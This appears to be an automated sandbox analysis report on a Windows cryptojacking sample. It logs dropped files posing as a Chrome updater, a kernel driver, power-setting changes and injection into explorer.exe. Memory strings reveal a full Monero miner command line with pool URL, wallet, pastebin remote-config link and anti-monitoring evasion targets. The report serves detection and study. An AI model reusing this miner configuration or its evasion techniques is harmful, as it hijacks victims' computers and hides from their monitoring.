Source: C:\Users\user\Desktop\c2.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\c2.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\c2.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior

Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: c2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: c2.exe

Static file information: File size 5737472 > 1048576

Source: c2.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x570e00

Source: c2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp

Source: c2.exe	Static PE information: section name: .xdata
Source: updater.exe.0.dr	Static PE information: section name: .xdata
Source: lnobvhjdatqu.tmp.13.dr	Static PE information: section name: _RANDOMX
Source: lnobvhjdatqu.tmp.13.dr	Static PE information: section name: _TEXT_CN
Source: lnobvhjdatqu.tmp.13.dr	Static PE information: section name: _TEXT_CN
Source: lnobvhjdatqu.tmp.13.dr	Static PE information: section name: _RDATA

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Program Files\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\ppefirylicdf.sys

Jump to behavior

Source: C:\Users\user\Desktop\c2.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Program Files\Google\Chrome\updater.exe	File created: C:\Windows\Temp\ppefirylicdf.sys	Jump to dropped file
Source: C:\Program Files\Google\Chrome\updater.exe	File created: C:\Windows\Temp\lnobvhjdatqu.tmp	Jump to dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	File created: C:\Windows\Temp\ppefirylicdf.sys			Jump to dropped file
Source: C:\Program Files\Google\Chrome\updater.exe	File created: C:\Windows\Temp\lnobvhjdatqu.tmp			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Program Files\Google\Chrome\updater.exe	Module Loaded: C:\WINDOWS\TEMP\LNOBVHJDATQU.TMP
Source: C:\Program Files\Google\Chrome\updater.exe	Module Loaded: C:\WINDOWS\TEMP\LNOBVHJDATQU.TMP

Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\explorer.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: explorer.exe, 00000017.00000003.1732186119.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732250618.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1731820245.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732232552.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732306589.0000000000D91000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732279591.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: explorer.exe, 00000017.00000002.4158658044.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: explorer.exe, 00000017.00000003.1732250618.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE(
Source: explorer.exe, 00000017.00000003.1700744936.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HTTPS://PASTEBIN.COM/RAW/YLG9STR0TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEMYFQVFEXGKNMTDUY
Source: explorer.exe, 00000017.00000003.1731740655.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732250618.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732135381.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "STEALTH-TARGETS": "TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE",
Source: explorer.exe, 00000017.00000002.4158658044.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\EXPLORER.EXE--ALGO=RX/0--URL=XMR-ASIA1.NANOPOOL.ORG:10343--USER=48LXRFPG6ASV91MQWKD8MFG7SNYGQ6RKDHQMO1RYAMJCHPKAIZWFSFAYGQXZEFM6TA4OMTJAB5BAW5GFK84AROJ6FND3XDR--PASS=--CPU-MAX-THREADS-HINT=60--CINIT-WINRING=PPEFIRYLICDF.SYS--CINIT-REMOTE-CONFIG=HTTPS://PASTEBIN.COM/RAW/YLG9STR0--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.3.0--TLS--CINIT-IDLE-WAIT=1--CINIT-IDLE-CPU=100--CINIT-ID=MYFQVFEXGKNMTDUY
Source: explorer.exe, 00000017.00000003.1732250618.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEZ
Source: explorer.exe, 00000017.00000002.4159469003.0000000001E00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SV91MQWKD8MFG7SNYGQ6RKDHQMO1RYAMJCHPKAIZWFSFAYGQXZEFM6TA4OMTJAB5BAW5GFK84AROJ6FND3XDRSTEALTH-TARGETSTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXESTEALTH-FULLSCREENALGO
Source: explorer.exe, 00000017.00000002.4158658044.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732250618.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1731820245.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1700744936.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4159469003.0000000001E00000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: explorer.exe, 00000017.00000003.1732186119.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732232552.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732306589.0000000000D91000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732279591.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEL.EXE0343EV
Source: explorer.exe, 00000017.00000003.1731820245.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEDLLL

Source: C:\Program Files\Google\Chrome\updater.exe	Dropped PE file which has not been started: C:\Windows\Temp\ppefirylicdf.sys			Jump to dropped file
Source: C:\Program Files\Google\Chrome\updater.exe	Dropped PE file which has not been started: C:\Windows\Temp\lnobvhjdatqu.tmp			Jump to dropped file

Source: C:\Windows\explorer.exe TID: 7872

Thread sleep count: 137 > 30

Jump to behavior

Source: C:\Windows\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: updater.exe, 0000000D.00000002.1700987964.00007FF602816000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: VmcII
